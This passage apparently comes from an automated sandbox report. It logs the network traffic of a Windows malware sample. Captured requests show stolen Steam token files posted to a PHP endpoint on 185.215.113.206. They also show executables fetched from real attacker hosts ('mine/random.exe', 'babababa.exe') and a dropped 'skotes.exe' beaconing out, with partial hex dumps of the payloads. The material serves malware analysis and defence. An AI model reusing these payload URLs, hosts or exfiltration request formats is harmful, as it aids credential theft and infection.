6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="file"------HIIIJDAAAAAAKECBFBAE--
Nov 16, 2024 13:01:44.801670074 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 13:01:44.845762968 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIECGCAEBFIIDHIDGIE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 2d 2d 0d 0a Data Ascii: ------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="message"ybncbhylepme------DHIECGCAEBFIIDHIDGIE--
Nov 16, 2024 13:01:45.127103090 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49947	185.215.113.16	80	5032	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 13:01:45.140718937 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 16, 2024 13:01:46.052437067 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 12:01:45 GMT Content-Type: application/octet-stream Content-Length: 3240960 Last-Modified: Sat, 16 Nov 2024 11:39:48 GMT Connection: keep-alive ETag: "67388484-317400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 80 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@1s1@WkHe1\e1 @.rsrcH@.idata @cztmcjxa**@vidbrugmp1N1@.taggant01"R1@
Nov 16, 2024 13:01:46.052521944 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 13:01:46.052558899 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 13:01:46.052597046 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 13:01:46.052632093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 13:01:46.052666903 CET	212	IN	Data Raw: 5e c1 fc 99 78 43 fd c1 b3 42 48 75 5f 6b 00 1a f8 80 c1 c0 53 39 e6 fa 0b ed 0a 15 0b 05 a3 50 5e c1 fc 99 98 43 fd c1 b3 42 48 75 5f 6b 00 1a d0 80 c1 c0 53 a9 ec fa 0b ed 2a 15 0b 05 a3 b0 5e c1 fc 99 b8 43 fd c1 b3 42 48 75 5f 6b 00 1a c8 80 Data Ascii: ^xCBHu_kS9P^CBHu_kS*^CBHu_kSJ^CBHu_kSQjp]CBHu_kS\CBHu_kS0]8DBHu_k
Nov 16, 2024 13:01:46.052696943 CET	1236	IN	Data Raw: 53 91 eb fa 0b ed ca 14 0b 05 a3 90 5c c1 fc 99 58 44 fd c1 b3 42 48 75 5f 6b 00 1a c0 80 c1 c0 53 39 ec fa 0b ed ea 14 0b 05 a3 f0 5b c1 fc 99 78 44 fd c1 b3 42 48 75 5f 6b 00 1a b8 80 c1 c0 53 21 eb fa 0b ed 0a 16 0b 05 a3 50 5b c1 fc 99 98 44 Data Ascii: S\XDBHu_kS9[xDBHu_kS!P[DBHu_kS*[DBHu_kSJ[DBHu_kSjpZDBHu_kS!YDBHu_kpSa0Z8E
Nov 16, 2024 13:01:46.052731991 CET	1236	IN	Data Raw: b3 42 48 75 5f 6b 10 1a f8 7e c1 c0 53 09 eb fa 0b ed aa 19 0b 05 a3 30 2e c1 fc 99 38 39 fd c1 b3 42 48 75 5f 6b 04 1a e0 7e c1 c0 53 65 f2 fa 0b ed ca 19 0b 05 a3 90 2d c1 fc 99 58 39 fd c1 b3 42 48 75 5f 6b 10 1a b4 7e c1 c0 53 29 f0 fa 0b ed Data Ascii: BHu_k~S0.89BHu_k~Se-X9BHu_k~S),x9BHu_k~SP,9BHu_k~S*,9BHu_k~SiJ,9BHu_k~S1jp+9BHu_kP~S
Nov 16, 2024 13:01:46.052769899 CET	1236	IN	Data Raw: 0b 05 a3 70 3f c1 fc 99 f8 3d fd c1 b3 42 48 75 5f 6b 0c 1a 78 4a c1 c0 53 d9 eb fa 0b ed 8a 1e 0b 05 a3 d0 3e c1 fc 99 18 3d fd c1 b3 42 48 75 5f 6b 00 1a 64 4a c1 c0 53 49 ef fa 0b ed aa 1e 0b 05 a3 30 3f c1 fc 99 38 2e fd c1 b3 42 48 75 5f 6b Data Ascii: p?=BHu_kxJS>=BHu_kdJSI0?8.BHu_k\JS)>X.BHu_k4JSQ=x.BHu_k@JSi P=.BHu_k8JS* =.BHu_kISaJ =.BHu_k
Nov 16, 2024 13:01:46.052799940 CET	236	IN	Data Raw: 88 e9 07 61 17 e5 c0 c0 f9 40 85 fb 0f 4a d1 b8 9f c0 30 eb a0 f4 84 eb 37 48 ca bc 66 c0 34 c0 db c6 d1 80 64 ff 8e bb c7 05 cb 1a 1d 0f fd 99 73 d0 fd c1 a1 88 38 3e 48 cd 85 7a f8 08 9a 98 61 29 fd c1 a1 20 d9 7e 07 05 47 75 5f 90 87 94 b5 4a Data Ascii: a@J07Hf4ds8>Hza) ~Gu_J-ECP?LA7f~Gu_HehBHu_Hu_Hu_Hu_JT}ED?u_J-4B~\|q $Ty>Hz>D6{?
Nov 16, 2024 13:01:46.057990074 CET	1236	IN	Data Raw: e7 05 42 c0 b8 ff bf c0 49 09 48 75 5f 09 48 75 5f 94 24 a0 9a 04 fb e8 48 09 48 75 5f 09 48 75 5f 90 87 94 b5 f6 b0 b8 a1 f4 d1 98 23 54 fd c1 89 41 04 37 66 97 d9 7e 07 05 47 75 5f 09 48 75 5f 90 87 94 b5 4a b1 b8 1d 8e 3c eb c5 c6 50 bb 44 fb Data Ascii: BIHu_Hu_$HHu_Hu_#TA7f~Gu_Hu_J<PD$>Hz?u_Hu_Hu_Hu_k]f7_4A$u_Hu_Hu_Hu_5#0CmHu_J-ECP?L?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	50071	185.215.113.206	80	5032	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 13:02:04.864878893 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGCGDBGCAAEBFIECGHD Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 2d 2d 0d 0a Data Ascii: ------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JDGCGDBGCAAEBFIECGHD--
Nov 16, 2024 13:02:06.267995119 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:02:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	50125	185.215.113.43	80	8764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 13:03:04.500487089 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 13:03:05.388864994 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 12:03:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	50126	185.215.113.43	80	8764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 13:03:06.909595966 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 13:03:08.057723045 CET	728	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 12:03:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 31 39 0d 0a 20 3c 63 3e 31 30 30 36 36 35 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 37 65 39 30 34 30 34 65 62 66 35 31 65 35 30 32 34 31 35 34 35 30 23 31 30 30 36 36 36 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 61 32 64 63 31 30 66 34 39 61 36 35 36 23 31 30 30 36 36 36 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 36 36 36 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 [TRUNCATED] Data Ascii: 219 <c>1006652001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc97e90404ebf51e502415450#1006661001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9a2dc10f49a656#1006662001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1006663001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1006664031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1006665001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	50127	31.41.244.11	80	8764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 13:03:08.066700935 CET	56	OUT	GET /files/babababa.exe HTTP/1.1 Host: 31.41.244.11
Nov 16, 2024 13:03:08.945105076 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 12:03:08 GMT Content-Type: application/octet-stream Content-Length: 34965741 Last-Modified: Sat, 16 Nov 2024 09:53:57 GMT Connection: keep-alive ETag: "67386bb5-21588ed" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 76 82 40 a2 32 e3 2e f1 32 e3 2e f1 32 e3 2e f1 e1 91 2d f0 2a e3 2e f1 e1 91 2b f0 e2 e3 2e f1 e1 91 2a f0 1c e3 2e f1 60 96 2a f0 21 e3 2e f1 60 96 2d f0 38 e3 2e f1 60 96 2b f0 53 e3 2e f1 54 8c d3 f1 3e e3 2e f1 32 e3 2e f1 2c e3 2e f1 f3 96 2d f0 30 e3 2e f1 f3 96 2b f0 50 e6 2e f1 f3 96 2a f0 63 e0 2e f1 e1 91 2f f0 25 e3 2e f1 32 e3 2f f1 a7 e2 2e f1 f3 96 27 f0 36 e3 2e f1 f3 96 2e f0 33 e3 2e f1 f3 96 d1 f1 33 e3 2e f1 32 e3 b9 f1 33 e3 2e f1 f3 96 2c f0 33 e3 2e f1 52 69 63 68 32 e3 2e f1 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 42 bd c8 62 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 7e 0f 01 00 dc [TRUNCATED] Data Ascii: MZ@0!L!This program cannot be run in DOS mode.$v@2.2.2.-.+..`!.`-8.`+S.T>.2.,.-0.+P.c./%.2/.'6..3.3.23.,3.Rich2.PEdBb"~-@=`!9x,;$ p(8(.text@\|~ `.rdata@@.data,- @.pdata,@@_RDATA9@@.rsrcx9,@@.reloc$;@B
Nov 16, 2024 13:03:08.945156097 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 89 d8 31 c0 0f a2 31 c0 81 fb 43 65 6e 74 75 12 81 fa 61 75 72 48 Data Ascii: I11CentuaurHuDaulsu< Shu2anghu*ai u"1rLHIuHHexHd$LD$I
Nov 16, 2024 13:03:08.945198059 CET	424	IN	Data Raw: c8 4c 89 c7 4c 89 db 48 f7 c7 0f 00 00 00 74 11 48 89 d9 48 8d 34 24 48 c1 e9 03 f3 48 a5 48 29 df 4c 89 ce 4c 89 d1 48 01 df 48 01 de 48 29 d9 bb 00 02 00 00 74 40 48 39 d9 0f 83 77 ff ff ff 31 c0 48 39 e5 48 0f 44 c1 49 89 f8 48 89 cb 48 29 c4 Data Ascii: LLHtHH4$HHH)LLHHH)t@H9w1H9HDIHH)HH<$HHLHLH9tfH$)H@H9wHehH,HH1HHCH!H)tHBHZHHt*IHHH,$H)HH<$HI8H
Nov 16, 2024 13:03:08.945234060 CET	1236	IN	Data Raw: 48 f7 d8 48 81 e3 ff 01 00 00 48 8d 24 28 b8 00 02 00 00 48 0f 44 d8 48 39 d9 77 33 48 89 f0 48 39 e5 48 0f 44 c7 48 01 c8 48 f7 d8 48 25 ff 0f 00 00 48 83 f8 40 48 c7 c0 c0 ff ff ff 48 0f 43 c3 48 21 c3 0f 84 97 00 00 00 eb 03 90 90 90 48 39 cb Data Ascii: HHH$(HDH9w3HH9HDHHH%H@HHCH!H9HGIIIHIHHEHtHHH)HHHBHZHfofBLLHtHH4$HHH)LLHHH)t7H9n1H9HDIHH)
Nov 16, 2024 13:03:08.945272923 CET	1236	IN	Data Raw: 0f 7f 42 f0 b8 01 00 00 00 48 8d 64 24 08 5b 5d 48 8b 7c 24 08 48 8b 74 24 10 f3 c3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 48 89 7c 24 08 48 89 74 24 10 48 89 e0 48 89 cf 48 89 d6 4c 89 c2 4c 89 c9 55 53 31 c0 48 f7 c2 0f 00 00 00 0f 85 d3 Data Ascii: BHd$[]H\|$Ht$H\|$Ht$HHHLLUS1HHHm+HR11 HHHHH,$H9HBH!HHHH$(HDBHDH9HGHF
Nov 16, 2024 13:03:08.945307970 CET	424	IN	Data Raw: 00 00 00 0f a2 66 0f 6e c0 81 e2 ff ff ef bf 41 83 f9 00 75 32 81 ca 00 00 00 40 80 e4 0f 80 fc 0f 75 06 81 ca 00 00 10 00 80 fc 06 75 19 25 f0 0f ff 0f 3d 70 06 05 00 74 07 3d 50 06 08 00 75 06 81 e1 ff ff ff fb 0f ba e2 1c 73 20 81 e2 ff ff ff Data Ascii: fnAu2@uu%=pt=Pus AtwAAAAr21Arf~%=Pu_OAs 1%=tg?tA!?!GI
Nov 16, 2024 13:03:08.945353031 CET	1236	IN	Data Raw: 8a 11 48 8d 49 01 44 32 12 48 8d 52 01 44 08 d0 49 ff c8 75 ea 48 f7 d8 48 c1 e8 3f f3 c3 90 66 0f ef c0 66 0f ef c9 66 0f ef d2 66 0f ef db 66 0f ef e4 66 0f ef ed 48 31 c9 48 31 d2 4d 31 c0 4d 31 c9 4d 31 d2 4d 31 db 48 8d 44 24 08 f3 c3 90 90 Data Ascii: HID2HRDIuHH?ffffffH1H1M1M1M1M1HD$IHI1AAA:E1D)AAA:AMRHuLIHMHL$1AAA:E1D)AAA:AIt!1D)A
Nov 16, 2024 13:03:08.945383072 CET	212	IN	Data Raw: 3c 12 0f b6 d7 4c 33 74 f5 06 4c 33 7c fd 05 c1 eb 10 48 8d 34 09 0f b6 cb 48 8d 3c 12 0f b6 d7 4c 33 44 f5 04 4c 33 4c fd 03 8b 5c 24 2c 48 8d 34 09 0f b6 c8 48 8d 3c 12 0f b6 d4 4c 33 54 f5 02 4c 33 5c fd 01 c1 e8 10 48 8d 34 09 0f b6 c8 48 8d Data Ascii: <L3tL3\|H4H<L3DL3L\$,H4H<L3TL3\H4H<L3lL3tD$0H4H<L3\|L3DH4H<L3LL3T\$4H4H<L3\L3dH4H<L3tL3\|D$8H
Nov 16, 2024 13:03:08.945436001 CET	1236	IN	Data Raw: 8d 34 09 0f b6 cb 48 8d 3c 12 0f b6 d7 4c 33 44 f5 06 4c 33 4c fd 05 c1 eb 10 48 8d 34 09 0f b6 cb 48 8d 3c 12 0f b6 d7 4c 33 54 f5 04 4c 33 5c fd 03 8b 5c 24 3c 48 8d 34 09 0f b6 c8 48 8d 3c 12 0f b6 d4 4c 33 64 f5 02 4c 33 6c fd 01 c1 e8 10 48 Data Ascii: 4H<L3DL3LH4H<L3TL3\\$<H4H<L3dL3lH4H<L3\|L3DD$@H4H<L3LL3TH4H<L3\L3d\$DH4H<L3lL3tL$LL$LT$L\$Ld$ Ll$(Lt$0L\|$8H4H<
Nov 16, 2024 13:03:08.945472002 CET	1236	IN	Data Raw: 4c 33 6f 28 4c 33 77 30 4c 33 7f 38 4c 89 07 4c 89 4f 08 4c 89 57 10 4c 89 5f 18 4c 89 67 20 4c 89 6f 28 4c 89 77 30 4c 89 7f 38 48 8d 76 40 48 83 e8 01 74 0d 48 89 73 08 48 89 43 10 e9 a5 f7 ff ff 48 8b 73 20 4c 8b 7e d0 4c 8b 76 d8 4c 8b 6e e0 Data Ascii: L3o(L3w0L38LLOLWL_Lg Lo(Lw0L8Hv@HtHsHCHs L~LvLnLfHnH^H&H\|$Ht$`x0`x0###F&###F&?~?~oo&L&LbmbmOO!OBnOO!OBn
Nov 16, 2024 13:03:08.952738047 CET	1236	IN	Data Raw: 47 01 47 02 46 8e 45 47 47 01 47 02 46 8e 45 9e 9e 42 9e 84 dc 21 1a 9e 9e 42 9e 84 dc 21 1a ca ca 0f ca 1e c5 89 d4 ca ca 0f ca 1e c5 89 d4 2d 2d b4 2d 75 99 5a 58 2d 2d b4 2d 75 99 5a 58 bf bf c6 bf 91 79 63 2e bf bf c6 bf 91 79 63 2e 07 07 1c Data Ascii: GGFEGGGFEB!B!---uZX---uZXyc.yc.8?8?#G#GZZuZ/ZZuZ/6l6l333f333fccc?\ccc?\98I98Iqqqqqqd

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	142.250.186.164	443	348	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:20 UTC	623	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 12:01:21 UTC	1367	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:21 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-D_JDGJIVKkQQBSIxwZLkzg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: 